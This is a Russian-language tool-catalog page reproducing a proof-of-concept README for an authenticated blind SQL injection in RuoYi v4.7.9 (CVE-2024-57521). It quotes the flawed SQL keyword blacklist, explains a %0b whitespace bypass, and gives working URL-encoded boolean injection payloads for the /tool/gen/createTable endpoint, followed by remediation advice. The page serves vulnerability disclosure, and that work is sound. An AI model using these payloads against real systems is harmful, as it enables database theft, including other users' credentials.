Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-57521-SQL-Injection-PoC — Эксплойт концепции слепой SQL-инъекции для RuoYi v4.7.9, обходящий фильтр CVE-2024-42900 для дампа баз данных через аутентифицированную булевую инъекцию. | Kitploit
Инструменты/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Эксплойт концепции слепой SQL-инъекции для RuoYi v4.7.9, обходящий фильтр CVE-2024-42900 для дампа баз данных через аутентифицированную булевую инъекцию.

Репозиторий
18 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Аутентифицированная SQL-инъекция в RuoYi v4.7.9 (Обход CVE-2024-42900)

Введение

Я обнаружил уязвимость Blind SQL Injection в функции createTable фреймворка RuoYi v4.7.9. Это позволяет аутентифицированному администратору выполнять произвольные SQL-команды через параметр sql. Это обход исправления CVE-2024-42900, так как фильтр SQL-инъекций в методе filterKeyword недостаточен: регулярное выражение можно обойти, используя %0b в качестве альтернативного символа для пробелов.

Подверженная версия

Продукт: RuoYi Framework
Версия: ≤ 4.7.9
Ссылка: [Ruoyi]

Анализ уязвимости

Уязвимость была найдена в файле https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java следующим образом. Приложение полагается на черный список ключевых слов для фильтрации атак SQL-инъекций, этот подход подвержен обходам. В данном случае для исправления CVE-2024-42900 строка была добавлена в черный список, но приложение по-прежнему не блокирует символ , поэтому я могу использовать его для запуска SQL-инъекции с помощью .

/*
%0b
select%0b
root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

Регулярное выражение select (с пробелом) соответствует, но не соответствует select%0b, который является допустимым разделителем в SQL.

Шаги для воспроизведения Boolean SQL-инъекции

  1. Войдите как администратор
  2. Отправьте запрос createTable (уязвимая конечная точка /tool/gen/createTable)
    a. Внедрите TRUE-запрос: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Внедрите FALSE-запрос: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Внимание: Необходимо изменять имя таблицы в запросе CREATE после каждого успешного запроса. 3. С помощью boolean-based SQL-инъекции данные можно извлечь с помощью Python [poc] в этом репозитории
Использование
использование poc
Извлечение версии БД с помощью poc
версия poc БД

Воздействие

Злоумышленник с правами администратора может выгрузить всю базу данных, включая учетные данные других пользователей и конфигурации системы.

Рекомендации

  1. Фильтровать символ %0b.
  2. Фильтровать ключевое слово select вместо select (убрать конечный пробел)
  3. Обновить CMS до версии 4.8.0 Ruoyi CMS
Скачать инструмент